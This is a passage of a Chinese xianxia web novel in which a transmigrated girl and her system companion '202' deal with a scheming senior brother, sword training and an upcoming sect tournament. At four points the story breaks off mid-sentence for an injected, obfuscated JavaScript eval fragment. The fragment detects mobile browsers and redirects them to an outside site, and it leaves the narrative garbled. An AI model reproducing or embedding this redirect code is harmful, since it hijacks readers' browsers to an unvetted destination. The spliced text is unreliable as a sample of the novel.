怀着烧得乱七八糟的心火,她几步冲出灌木丛。 继而撞入一片花海。 在月光照耀下,大片大片的月清花发出莹白光芒,恰逢此时微风起,于是所有花朵与枝叶齐齐摆动,香气也在刹那间弥漫开来。 白的花,绿的叶,浓墨般的夜空——极致的色彩间互相碰撞着,与如有实质的香气一起,让祝昭昭呆在原地。 这是一片区别于雾鸣山其他地方乃至静心阁所有景致的,美丽到已经有些迷幻的画面。 灵力凝聚而成的光点自祝昭昭眼前飘过,她眨眨眼,回过神来。 然后转身想走。 却就在将要抬起脚步时,祝昭昭眼尾余光瞥见什么。 鬼使神差地,她朝着那地方走去。 一个小屋很快出现在她眼前。 小屋前被篱笆围出一片院子,院子外面,又被许许多多的灵植包围着。 众多灵植里,有她叫得上名的,也有她叫不上名的。但数量最多的,还是月色下白到晃眼的月清花。 怎么会有那么多月清花。 祝昭昭讶异之余,忽然想起什么。 “202,你把关于月清花的资料调出来。” 叮嘱完202,她开始往小屋方向走。 随着脚步渐近,小屋的全貌也一点点展露在她眼前。 视线从缠着藤蔓的齐腰高篱笆移到小院里,最后落在里面站着的人背影,祝昭昭眼瞳骤缩。 她第一反应就是跑路。 为了跑路的时候动静越小越好,她甚至不敢转身,而是准备直接往后退。 然而她刚踮起脚,一道男声就从背影方向不紧不慢地响起。 “这就要走了么?” 转身,无视祝昭昭略显尴尬的模样,慕行秋言笑晏晏:“既然来了,不如多待一会儿?” 祝昭昭抬眼对上笑眯眯的慕行秋:“……” 祝昭昭低头看自己还没放下的脚:“……” 所以她刚才为什么要好奇心发作乱跑。 现在开记忆清洗还来得及吗? 努力控制自己不要露出太嫌弃的表情,祝昭昭一言不发地走进院子。 示意她过来自己这边,慕行秋从桌上摆着的茶具里翻起一个干净的空杯:“新泡的天山青雪,尝尝看。” 盯着还在泛涟漪的淡绿茶水,祝昭昭悄悄在心里吐槽。 怎么会有人觉得小孩子懂品茶? 下一秒,慕行秋就拿着个巴掌大的瓷罐放在茶杯旁。 “你可以往茶里添些。” 祝昭昭一眼就认出那是山下茶楼用来装牛乳的瓷罐。 意识到这点,她愣。 往茶里添牛奶,是最近时兴的新喝法。 虽然在祝昭昭看来,这就是再普通不过的奶茶,但对修真界来说,这已经是划时代的喝法,深受许多年轻人喜爱。 却被许多年纪稍长的人嗤之以鼻。 他们认为这是在浪费茶叶茶水——有些对此特别反感的掌教或长老,甚至不允许自己座下弟子这么做,否则就要挨罚。 所以当慕行秋主动拿出牛奶让祝昭昭往茶里添的时候,她其实有点意外。 毕竟慕行秋身为掌刑司殿主,平时是出了名的铁面无私赏罚分明,本身还是雾鸣山大师兄,剑宗年轻一代最高战力之一……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280520|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 多重Buff叠加下,他在其他剑宗弟子眼里其实和掌教长老们没什么区别,都是古板保守又无趣的新潮玩意绝缘体。 “怎么了。” 见祝昭昭坐着不吭声,慕行秋问她:“我听说这是最近山下很流行的喝法。” “难道你担心牛乳不新鲜?” 他敲敲罐子:“这牛乳虽是其他人早上送我的,但罐身有禁制,放上三天都能保持罐中物品新鲜。” “我没觉得牛乳不好。” 祝昭昭明白他的言外之意:“但我听月书师姐说天山青雪是很珍贵的灵茶,用它来配牛乳,难道……” 难道你不会觉得浪费吗? 慕行秋像是听见什么有意思的事。 唇角弯起一抹了然弧度,他答:“天山青雪入口微苦,你很难喝得惯。既然如此,掺些牛乳有什么问题。” “毕竟再珍贵的茶也只是茶。而茶,就是要让人喝的。” 给自己也满上一杯,慕行秋挑眉:“还是你觉得只喝天山青雪就足够?” 祝昭昭头摇得很快。 开玩笑,这茶她尝过,根本不是慕行秋嘴里的‘入口微苦’,而是苦到能瞬间让人失去表情管理的程度。闵月曾经一度用这茶当她做错事的惩罚。 她不知道这茶的受众是谁,反正不可能是她。 边腹诽边把牛奶倒进茶里,祝昭昭抿着奶茶,看慕行秋面不改色地端起他的茶杯。 厉害。 放下茶杯,慕行秋转身走到离石桌不远的树下:“剑招练熟了么。” 奶茶的滋味泛开,祝昭昭感觉嘴里甜丝丝的:“嗯。” “月书和之衡呢,他们也练完回去了?” “不知道,我走之前他们还在练。” “如此。”慕行秋不置可否,“他两人修炼的确最是勤快。” 想起刚才那精彩的武斗,祝昭昭沉默。 嗯,谁说全武行不是修炼呢。 “月书和之衡修炼经验丰富,你如果有什么不懂,都可以问他们,他们也会为你答疑解惑。”说话间,慕行秋抬手,一道光芒倏然亮起又沉寂。 被那光亮吸引,祝昭昭下意识朝他望去。 接着就见他手里多了个白瓷水壶,正在给脚下的月清花浇水。 浇水。 …… 他在给花浇水? 因为这认知震惊的时候,祝昭昭接着听慕行秋再道:“你天资出色,领悟力强。我给你的剑谱虽难,却不会难倒你。催你尽快练成,也是因为我猜你能做到。” 他走到花群另一边:“现在看来,我猜得不错。” “你做得很好。” 祝昭昭垂眼喝奶茶。 放在前几天乃至今早,她都不会相信这是慕行秋能说出来的话。 因此不适应到无法回答,她只好盯着月清花。 慕行秋动作细心且熟练——壶嘴撒下的水像小雨,细而散的水丝落在花上;凝聚的水珠与莹白的花瓣在月光下交相辉映,让本就饱满鲜妍的花朵看起来更加美丽。 这些花……不,是这里的一草一木,都被养得很好。 原来是这样。 原来白月书说的是真的。 慕行秋,真的在细心地照顾整座雾鸣山。 祝昭昭怔然。 没听到回答,以为祝昭昭练剑累了,专心浇花的慕行秋出声赶人:“既然你已将剑招练熟,时间也不早了,那你便回去休息吧。” 刚好这会儿茶杯见底。于是‘哦’了一声,祝昭昭起身离开。 临出小院的最后一刻,202向她报告了自己的查询结果—— “主人,根据资料显示,月清花的作用是掩盖气息。” 掩盖气息。 欲走的脚步因此微顿,闻着身上不知何时仅剩的,浅淡的月清花香,祝昭昭很快离开。 38. 三句话 最后白月书和秦之衡什么时候回的小屋,祝昭昭不知道。只知道第二天一大早,白月书照旧很准时地来叫她起床。 睡眼惺忪的祝昭昭没看到秦之衡:“月书师姐,之衡师兄今天没来吗?” “他——” 白月书很可疑地沉默了一下:“他有些不舒服,和掌教告了病休。今天不去学堂。” 不舒服…… 病休…… 祝昭昭瞳孔地震。 一念之差导致全武行没看到最后,没想结局竟然是秦之衡被打得要休病假养伤。 怎么说,很难评。 硬要评价的话,就是不要和武力值比你高的人犟嘴。 哪怕是男主角。 祝昭昭:擦汗猫猫头·jpg 看着白月书略显心虚的目光左右游移,就是不和自己对视,祝昭昭默默为秦之衡点蜡之余,憋笑得很努力。 深呼吸,她打个哈欠:“好,我知道了月书姐。那今天我们一起去学堂。” 白月书赶紧顺着台阶下:“嗯!” * 新生班—— 祝昭昭刚走进院子,就看到云珈急火火朝自己冲过来。 视线落在她那双握紧的拳头上,祝昭昭被她蓄势待发的架势吓得瞳孔都瞬间放大。 等等等等,别这样直接冲过来! 赶在云珈扑过来的最后时刻,以一线距离擦过她的手,祝昭昭悄悄松了口气。 然后装成没事人的样:“怎么了云珈,有什么事吗?” 祝昭昭一套动作太过行云流水,以至于云珈压根没搞清刚才到底发生了什么。 皱眉盯着空落落的手半天,她最后选择不去细想:“昭昭,昨天掌教给你布置的任务你完成得怎么样了?” 说着左顾右盼,云珈慌得像做贼:“我昨天虽然练完了,但还不太熟练。一会儿掌教抽查我怎么办啊。” 真不熟? 和随后走过来的齐青青对上视线,祝昭昭一脸怀疑。 但云珈心虚的架势不像作假,所以想了想,她尝试着问:“哪不熟,说来我帮你看看?” 云珈很爽快地说了。 她说的时候情真意切,表情十足为难,看起来真的很苦恼。 祝昭昭却听得异常沉默。 因为那让云珈懊恼不已的问题,是剑谱第四节中间的内容。 祝昭昭:这是在干什么·jpg 收拾好稍显复杂的心情,祝昭昭刚准备提醒下云珈,就见慕行秋的身影出现在院门口。 慢悠悠地推开门,他笑眯眯地和散落在院子各处的弟子们打招呼。 第一句是:“大家都来得很按时。” 众人应得很开心。 第二句是:“昨日我布置的任务你们完成的进度如何,我现在要验收成果。” 众人瞬间蔫巴下去。 第三句是:“如若不达标,会有惩罚。” 众人顿时哀嚎起来。 祝昭昭都被这架势震惊了。 什么顶级教育家? 三句话,让剑宗精英被我随意摆弄? 这一刻,祝昭昭真心觉得慕行秋待在这个位面是屈才。换作现代社会,别说学生,什么人都得被他治得服服帖帖。 耳边云珈嚎得太过真情实感,吵得祝昭昭不得不往齐青青那边靠。 这一动,让她立刻被慕行秋锁定。 含着笑意的目光落在祝昭昭身上,慕行秋开口:“昭昭师妹昨日表现不错。” “成果验收就由你开始如何?” 祝昭昭眨眼。 很自然的表现。 自然得疏离又陌生。 就好像昨晚发生的一切都是幻觉。 如果祝昭昭真的只是个什么都不懂的小丫头,这会儿一定已经被这难以捉摸的态度引起不安。 但她不是。 正相反,慕行秋的表现其实很符合祝昭昭对他的判定预估—— 一个相当棘手的刺头。 身上月清花的淡香再次随着风传到鼻间,祝昭昭没多话,直接从空间袋抽出一柄剑来。 被剑上蕴含的丰沛灵力惊到,云珈和齐青青惊讶之情溢于言表:“昭昭,你昨天不还借剑用呢吗?这剑哪来的?” 反应最大的云珈干脆整张脸都贴到剑鞘上:“好浓郁的灵力,好美丽的剑型,好趁手的剑柄……啊!” 祝昭昭被她吓一跳:“怎么了?” 云珈颤抖地指着剑柄:“剑柄顶上好大一颗聚灵石!!怎么镶上去的!!” 祝昭昭:…… 很好奇如果远在天玄山的三长老,听到剑宗内门弟子对他练出的剑给予了如此高的评价,脸上会是什么表情? 想象了一下,祝昭昭憋笑。 手指轻点那颗闪着光的聚灵石,祝昭昭很熟练地拎出掌筠做挡箭牌:“这是我拜师的时候,师父赐我的。” “之前不拿出来是因为我对剑还不太熟练,昨天借云珈你的剑用完后,我感觉找到了一点手感,所以今天才把它拿出来。” 云珈很得意:“哼哼,素云的手感是最棒的。” 祝昭昭朝她竖起拇指。 哼着小曲,云珈指指剑:“那昭昭你给它取名了吗?” “它叫什么名字?” 名字啊。 抬眼望向浮在半空的剑,祝昭昭想了想:“灵华。” “它叫灵华。” 祝昭昭话音落下的瞬间,长剑突然嗡鸣起来。层层泛起的灵力涟漪仿佛是对她的回应。 云珈和齐青青无不惊讶:“它在答应你!” “大概?” 轻拂过灵力涟漪,祝昭昭握住灵华。涟漪散开的刹那,她的身影也隐入剑光之中。 过目不忘的记忆加上连续两天的练习,祝昭昭舞剑动作之利落流畅,比起昨天更加进步。 连绵剑影化作道道雪色光亮,夹杂在翻飞的白袍乌发中,令凌厉锋锐之色尽显。 而随着时间一点点过去,剑招很快来到最后一招,也就是这套剑谱中杀伤力最大,难度最高的那一招。 一夜过去,这位新来的小师妹究竟能做到什么程度? 昨天慕行秋指出祝昭昭问题的画面仿佛就在眼前,所有人都下意识屏住呼吸。 紧张气氛里,唯独慕行秋神色平静地望着那舞剑的身影。 祝昭昭显然没有想到自己只是完成一个课堂作业,就被所有人关注。 她满心都放在即将来到的最后一招中。 深呼吸,仔细感受着从灵华剑身传来的灵力,祝昭昭抓住灵力变化的刹那,起势回身纵劈。 蕴含在剑身的灵力也瞬间轰然炸开。 巨大的灵力波以祝昭昭为中心点迅速向四周辐射开来,眨眼就要席卷整个小院。 慕行秋的速度却更快。 抬手,拂袖。紧接着一阵微风凭空吹起,看起轻柔实则不容抗拒地将扩散开的灵力消融。 也就在最后一点灵力被消融的同时,祝昭昭的演示结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280521|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 灵华收至背后,她神情略微紧张:“刚才灵力爆得有点太厉害了,有没有伤到大家?” 已经不知道是该震惊于祝昭昭一个晚上就能把剑谱练到这种程度,还是该后怕如果慕行秋动作再慢点,今天在场的人都得带伤下学,所有人呆呆摇头。 祝昭昭松了口气:“没事就好。” 不过就算有事,她麻烦大了是不假,但让她现场练剑的慕行秋肯定也难辞其咎。 思忖着不由得带了点火气,祝昭昭瞪了眼慕行秋。 没事找事! 突然被瞪,慕行秋难得露出点意外神情。 但他掩饰得很好:“仅仅一个晚上便能将剑法练到如此纯熟的程度,昭昭师妹,你确实做得非常好。” 满场哗然。 能让掌教把话说到这种程度,足以证明祝昭昭的剑确实已经练得完满。 云珈小跑到祝昭昭身旁:“昭昭,厉害啊,一个晚上就能练成这样。这难道就是伴生天灵根的天赋吗?” 拍拍满脸羡慕的云珈肩膀,齐青青笑:“昭昭是伴生天灵根,但你也不差啊。你可是木火双灵根好不好。” “嘿嘿。”被夸得不好意思,云珈傻笑着摸摸头发。 慕行秋也在这时出声:“好了。” “那么接下来,昨天已经练了剑谱的三人出列。” 云珈和齐青青以及一直没怎么出声的刑煜走了出来。 慕行秋看着三人:“我稍后单独考核你们。” 三人齐声答应。 望着脸快皱成一团的云珈,祝昭昭努力不让自己笑得太明显。 见状微一颔首,慕行秋略微扬声:“至于剩下的人。” 他散漫的视线环绕一圈,最后在祝昭昭身上聚焦。 祝昭昭脑子里瞬间警铃大作。 这家伙又想干什么?? 答案很快揭晓。 脸上多了非常温和有礼的笑意,慕行秋弯起眉眼:“稍后我会告诉昭昭师妹如何评判你们的练习程度。” “你们的成绩,便由她来判定。” 此话一出,人群哗然。 掌教竟然会把考核权力下放给小师妹! 不过转念一想,毕竟同学总比掌教强,评判里遇到问题没准还可以小小通融下。 岂不美哉? 反应过来的众人顿时乐开了花,甚至开始有心情嘻笑打闹。 只剩三言两语就被人安排完毕的祝昭昭呆在原地。 不是,现在这什么情况? 班干部被班主任安排工作进行时? 但是等等,修真界有班干部这一说吗? 就算有,那又跟她有什么关系? 这种工作难道不是应该实战课前十来做吗? 为什么叫她?? 眼看慕行秋就要领着云珈等人去单独考核,祝昭昭终于从震撼中回过神来。 她一把扯住慕行秋的袖口。 “帮你有什么奖励?” 活是推不掉了,那就必须趁此机会捞点好处。 绝不能白干!! 想到这,祝昭昭盯着慕行秋的目光越发坚定。 “奖励?” 视线从被祝昭昭揪住的袖口,缓缓上移到她的脸。看着那双被怒意点亮的漆黑眸子,慕行秋低垂的眼里泛起点点兴味盎然。 “下次,我再请你喝杯牛乳茶如何?” 哈? 祝昭昭差点失去表情管理。 谁要去啊! 39. 怎么不笑了? 奖励之争以慕行秋答应考核结束后给祝昭昭一件中级法宝,以及报销她一个月全部花费告终。 而经过这一次,祝昭昭也发现了件有关慕行秋的小秘密。 “和这狗小子谈条件的时候,如果他一副割爱的样子,或者还笑得出来,那你提的条件对他来说肯定不痛不痒。” 走到院子里的石凳处坐下,祝昭昭在脑子里和202闲聊:“但如果他什么表情都没了,那你肯定就提对了条件。” “你看他刚才走的时候多平静?都笑不出来了。” 祝昭昭一副大仇得报的表情:“虽然我空间袋里中级法宝不少,也用不上那玩意。但只要能让他不爽,我就很爽。” “叫他没事就坑我。” 202听得心惊胆战的:“可是主人,这样会不会让大反派觉得你贪得无厌,然后讨厌你啊?” “肯定有这种可能。”祝昭昭承认得很爽快。 202瞬间吓得眼睛都要亮烧了。 祝昭昭慢悠悠补充:“但应该不高。” 202放松下来。 无视它一惊一乍的反应,祝昭昭开始整理慕行秋刚才给自己的表单,还有录成绩用法器:“他在剑宗地位斐然,摸爬滚打这么多年,社会经验秒杀一帮内门傻白甜。” “要真不愿意给法宝,他早就一百八十种方式拐着弯拒绝我,怎么可能松口答应。” 祝昭昭准备按表单叫人:“既然松了口,就证明这条件对他来说是可以接受的,最多就是给得憋屈。” “要的就是他憋屈。” 自己提条件时,慕行秋若有所思的表情浮现在脑海。祝昭昭哼笑:“这叫礼尚往来。” 谈话结束,祝昭昭开始念名单。 * 祝昭昭评完最后一个人的时候,云珈等人的考核也正好结束。 拉着齐青青小跑到祝昭昭身旁,云珈朝她眨眨眼:“昭昭,还得是你。我们还在当学生,你已经开始帮掌教做事了。” 祝昭昭笑,没吭声。 白给都没人愿意干的活,其实她根本不想干。 有人信吗? 祝昭昭:微笑·jpg 没注意到祝昭昭的复杂表情,云珈说着探头去看她手里表单:“这怎么评的,给我看看?” 任由云珈靠到自己肩头,祝昭昭问她:“掌教呢,他不来收表单吗?” “掌教让你放在讲桌上,用东西压着就好。”齐青青走到祝昭昭另一边,“他明日上课直接看。” 懒得还挺理直气壮。 答了一句‘知道了’,祝昭偷偷吐槽完,准备问云珈看好没有。 紧接着就听到齐青青略带疑惑的声音:“然后掌教还托我单独带给你一句话。说是什么——” “奖励虽然换了,上一个依然作数。” “欢迎你随时来喝茶。” 齐青青看向祝昭昭:“掌教这是什么意思?你们经常一起喝茶吗?” 望着她清澈的,泛着不解的眼睛,祝昭昭心里当场一个咯噔。 慕行秋这家伙!! 已经回到自己小院的慕行秋:谁在念我? 以最快的速度想出理由,祝昭昭装作若无其事:“怎么可能,我爱喝的是什么你们不知道吗?” “可能是掌教他叮嘱错人了,这话本来应该是说给白师姐秦师兄听的。毕竟他们三个才是五长老的弟子。” “原来如此。”显然这话才最符合基本印象,齐青青不疑有他。 祝昭昭暗暗松了口气。 这当口看完表单排名的云珈终于后知后觉:“你们在聊什么?” 祝昭昭抢先:“你看完了?” “嗯。” 直起身,云珈伸了个懒腰:“这么看大家练得都挺不错的,过两天应该都可以练剑谱了吧。” 齐青青在旁帮声:“练得早更好,现在学得多,到时候胜算才大。” 煞有介事地点头,云珈无不赞同。 祝昭昭没搞懂她们的加密通话:“什么练得早什么胜算大,你们在说什么?” 云珈震惊:“昭昭你居然不知道?” 祝昭昭:…… 所以她该知道? 收好表单,祝昭昭看着下学的人群:“没人和我说,我确实不知道。” 云珈倒抽口凉气:“这是宗里少有的大考核,大家传了好多天,昭昭你居然不知……” “好了。”齐青青无奈弹了下云珈脑门,“你说就好好说,吓唬昭昭做什么。” 把云珈赶到一边,齐青青示意祝昭昭去把表单放上讲桌:“过几天宗里准备准备开始宗门大比了。” 宗门大比? 突然想起什么,祝昭昭怔。 跟着很快接话:“我刚入门没多久,宗门大比应该和我没关系?” “如果你只是个外门弟子,这事确实跟你没关系。” 齐青青笑:“但你是宗主亲传,这事跟你就非有关系不可。” 手上动作不停,祝昭昭眼神示意她继续。 “也没什么,就是大比的主要目的是测试所有参加弟子的修为,之后下山历练或者出任务的时候好安排人。” 齐青青倚在讲桌旁看祝昭昭放表单:“而你作为宗主亲传,这段时间的修炼速度也有目共睹,所以是必定要参加的。” “虽然你之前一直不知道,但不出意外的话,白师姐和秦师兄这两天都会跟你说。” “是么。” 祝昭昭点头,把表单压在桌上镇纸下:“那我知道了。” * 齐青青说得没错,白月书确实在傍晚时来敲了门。 打开门,和白月书简单交谈了一会儿,在得到她临走前叮嘱的一句‘最近要勤加修炼’后,祝昭昭关上门。 202在桌子上慢悠悠翻滚:“主人,你为什么看起来好像心事重重的。” “因为的确有事。” 回到床上躺下,祝昭昭扭头望着窗外:“宗门大比,是慕行秋黑化的始点。” 202大惊失色:“主人你说什么?!” 迅速调出资料,它飞快看过一遍后疑惑出声:“可是主人,资料显示这里他只是遇到了一点麻烦呀?” 头枕双臂,祝昭昭变不改色:“对,没错。” 202迟疑:“那……” “那么,有人说过表面遇到一点麻烦,就证明慕行秋的内心变化也只有一点?” 202哑口无言。 随手从空间袋里摸出颗糖扔进嘴里,祝昭昭朝202抬抬下巴:“你那里有资料,告诉我,他在宗门大比时遇到的事情是什么。” 闻言仔细看起面前资料,片刻后202总结:“大反派在宗门大比当裁判的时候,帮助了一个被刑煜故意坑害,导致输掉比赛的弟子。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280522|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“而因为大反派让刑煜输了,间接影响到邢子山。于是本来就看他不顺眼的邢子山干脆直接使了点手段,倒打他一耙。” “然后……” 再次仔细盯了会儿资料后,202语气开始不对:“然后在完全是刑煜不对的情况下,大反派的师父竟然放任偏听偏信的三长老惩罚他。” “在大反派受罚期间,刑煜和邢子山还故意去冷嘲热讽他……” 空气陷入一阵沉默。 直到祝昭昭打破平静:“受罚的地方,弟子们本来无权出入,但刑煜和邢子山却进去了。” 这意味着两人的出现只能是被默许。 被谁默许? 三长老还是…… 五长老? 把玩着从慕行秋那里得到的法宝,祝昭昭许久没有说话。 飘飘悠悠来到法宝旁,202补充:“而且这里还写着,大反派受罚结束后,他的师父就立刻就给他派了带队任务。” “期间没有慰问过他哪怕一句……” 绕着祝昭昭的手转圈圈,这次,就连202都无话可说。 因为至少这件事上,大反派确实有点惨。 含冤受罚也就算了,还被陷害者嘲讽;甚至受罚结束,自己的师父都没有关心过自己哪怕一句。 不知道的还以为大反派干了什么伤天害理的事。 可他分明只是在维护比赛公平。 扭捏半天,202最后恶人先告状:“主人,这事很大好不好,怎么我说只是小事你也承认啊!” 祝昭昭闻言斜它一眼:“事情严不严重又不靠我判断。” “对慕行秋来说,这就是小事。” 202犹不服气:“主人你凭什么这样说!” “那你看看他接下来怎么做的不就知道了。”祝昭昭满不在乎地指指它额头上的菱形。 202气哼哼照做,然后在快速扫了一边资料后,安静下来。 祝昭昭见状,脸上多了些揶揄:“怎么突然那么安静。说说,慕行秋接下来怎么做的?” 202支支吾吾:“他……他老老实实领命带队去了。” 祝昭昭:“还能继续听曾书的话,你觉得这事对慕行秋来说,是大事还是小事?” “可是!”202顿时急了,“如果大反派真的觉得这是件小事,主人你刚才干嘛还说那些话!” “什么小事会成为大反派黑化的始点啊?” “你猜。”祝昭昭面不改色。 202:“……” 看它一副再逗下去就马上要短路的架势,祝昭昭见好就收:“好了。” “总之,不管这事对慕行秋来说是大事还是小事,对我们来说都是非常重要的事。” “我们接下来要做的,就是阻止这件事发生。” 202表示赞同:“所以我们要怎么做?” 祝昭昭一听就笑起来:“呦,居然问起我来了?” “你不是老嚷嚷着要教我怎么做任务吗?” 被噎得哑口无言,202干脆撒泼打滚:“主人你就快说到底怎么做吧!” “这还不简单。”以灵力包裹手里法宝,祝昭昭食指操控其悬浮转圈。 “兵来将挡水来土掩呗。” 欲言又止地看着已经无视自己,开始自顾自在床上翻滚的祝昭昭,202:“……” 这B班上得心好累。 40. 我是被孤立了吗? 又是一个上学日。 直勾勾地盯着漂浮在面前的飞行法器,祝昭昭半天没说话。 202被这眼神吓得毛骨悚然:“主人,你……你怎么了?” 祝昭昭依旧盯着飞行法器:“202你说。” 202不由自主跟着她:“说……” “按照云珈的说法,宗门大比预热声势浩大。为什么这么多天我一点动静都没听到。” 202哪知道原因。 但被祝昭昭的架势吓得要死,它只能假装在思考:“可,可能他们都是藏起来练的,因为怕别人知道自己的必胜绝招。” 此话一出,祝昭昭用一种看傻子的眼神看着202。 202也突然反应过来。 对哦,内门也就算了,外门哪有那么多地方可以藏着。 202羞愧地低下球。 紧接着它又想到一种可能性:“那会不会是他们都统一到一个地方训练了,所以其他地方听不见动静?” 祝昭昭还是那副表情,甚至隐隐变得有点嫌弃。 202被看得下意识乱转:“好吧,剑疯子扎堆的话,确实会一不小心打得不可开交……” “那难道他们其实早就练好了,所以现在干脆藏几天,不让别人发现自己的绝招?!” 越想越觉得这种可能性最高,202表情惊恐:“真没想到……被其他宗门嘲笑‘武力和脑子完全反比’的剑宗弟子竟然这么有心计。天哪,我简直不敢想接下来的宗门大比该有多精彩……” 202越演越入戏的时候,祝昭昭走到飞行法器前开始摸索。 很快,随着法器上闪过一道光芒,她拍拍手退开。 然后很平静地补了一句:“原来是噪音屏蔽禁制开了。” 刚才还扭来扭去的202瞬间整颗球僵硬在原地。 直接从它旁边走过,祝昭昭哼着小曲把飞行法器推出门:“去上学咯。” * 飞行法器一启动,祝昭昭就知道云珈所言非虚。 差点被下方传来的口号声震地从法器上跌下去,祝昭昭目光刚从左边一个御着剑还在比划剑招的人身上掠过。 下一秒,就听到右边有人大喝一声,然后眨眼消失在原地。 只剩一把剑飞在空中。 祝昭昭:…… 起猛了,看见剑自己载自己去上课了。 低下头,祝昭昭两眼发直地盯着自己坐得端正的姿势。 …… 她是不是也该配合一下这个火热的学习气氛? 四周灵力开始因为这个念头涌动起来。座下飞行法器变得不稳,祝昭昭立刻回神。 算了,还是老实上学吧。 * 好不容易从‘剑宗弟子空中修炼方式大赏’里出来,祝昭昭降落在院子中。 然后就看见院子里到处都是人在练剑。 最角落甚至有人因为占位置,搞得气氛火药味十足,好像下一秒就要打起来。 祝昭昭认得他们,两个人在班里都是比较喜欢浑水摸鱼的那批。 连咸鱼都在这会儿大练特练吗?! 祝昭昭终于瞳孔地震。 眼看上课时间差不多到,她怀着对院子里这帮人肃然起敬的心情走进教室。 刚在凳子上坐稳,祝昭昭眼尾余光就看见慕行秋出现在门口。 祝昭昭本来没当回事。 但她很快就发现慕行秋走的方向不是讲桌,而是—— “听其他同学说,你昨日评分评得不错。” 在祝昭昭桌旁站定,慕行秋闲聊似地问她。 …… 眼观鼻鼻观心,祝昭昭装没听到。 见状也不恼,慕行秋没事人一样继续问:“你将表单放于何处?” 这属于明知故问。 不是你昨天让把表单放讲桌的? 暗暗在心底翻了个白眼,祝昭昭还是没搭理他。 不想搭理是一方面,主要慕行秋上来不问正事,用闲聊开头—— 哪个掌教没事和学生闲聊? 齐刷刷朝这边看过来的视线太扎眼,祝昭昭被看得头皮都发紧,怎么可能出声。 然而她越不出声,看过来的视线越明显。祝昭昭最后在身旁云珈那泛着清澈愚蠢的眼神里败下阵来。 她胡乱一指讲桌:“在那。” 慕行秋于是笑眯眯地走上讲桌。 看着他在上面很自然地整理表单,祝昭昭沉默。 所以这家伙果然是故意的,是在报复自己坑了他一大笔。 这边祝昭昭试图用眼神暗杀慕行秋,那边慕行秋很快看完表单后将之放在一边。 环视一圈后,他对测评结果做出评价;“大家都提前完成了修炼计划,做得不错。” 众人小声欢呼起来,甚至有胆大的混在人群里说了句‘还是掌教教得好。’ 祝昭昭听得沉默。 要不说剑宗弟子抗压能力在全修真界都是数一数二的呢。 一个新技能要求几天练好这种离谱要求都没人抗议,老师夸两句甚至还有心情和老师插科打诨。 不错,送去996定会大有作为。 思维正发散,祝昭昭听到讲桌上慕行秋继续:“既然基础已经打好,那么接下来,便是开始修习剑谱的时间。” “稍后我会将剑谱放出,你们照着学习即可。” 被夸奖的劲还没过,下方有人兴奋地喊:“这还不好说。掌教,尽管放马过来。” “是么。” 慕行秋闻言,意味不明地轻笑一声。 当即就知道大事不妙,祝昭昭轻嘶一声,扭头看了说话的弟子一眼。 目光从他写满跃跃欲试的脸上收回,祝昭昭默默在心底为他点蜡。 你小子,等着哭吧。 果然接下来,慕行秋语调缓缓,却带着一种让人汗毛竖起的压迫感:“既然大家都对修习剑谱充满自信,那么我将任务目标定得高些,想来无可厚非。” 他脸上多了微笑:“距离宗门大比还有三天,各位在这三天内,将剑谱练至第二节即可。” 刚才还大放豪言壮语的那位安静下来,整个课室陷入死寂。 三天两节。 那和要求三岁小孩写草书有什么区别? 还即可。 …… 努力不让自己笑出声,祝昭昭嘴角都抿成条直线。 慕行秋对这气氛恍若未察,神情甚至因为没人吭声而更加舒展:“大比之时,任何招数都起决定性作用。只要比对手多一分能力,就比对手多一分胜率。” “你们趁这三日尽量修习新招数,若是能像云珈那般领悟出独属 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280523|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的变式更好。” “一旦练成,此剑招就能在宗门大比里成为你们的底牌。” 慕行秋说完,气氛明显缓和下来。 有人小声:“那对上我们班的人怎么办。” 慕行秋微笑以对:“如我刚才所说,摸索出独属于你们自己的变式。” “在擂台上使出变式,便是真正向众人证明了自己的能力。” 这番话显然说中了所有人的心坎。 班级沸腾了。 一改刚听到消息时的萎靡不振,所有人干劲满满,恨不得现在就开始拿起剑谱练他个三天三夜。 厉害。 满室嘈杂里,祝昭昭都想给慕行秋竖个大拇指。 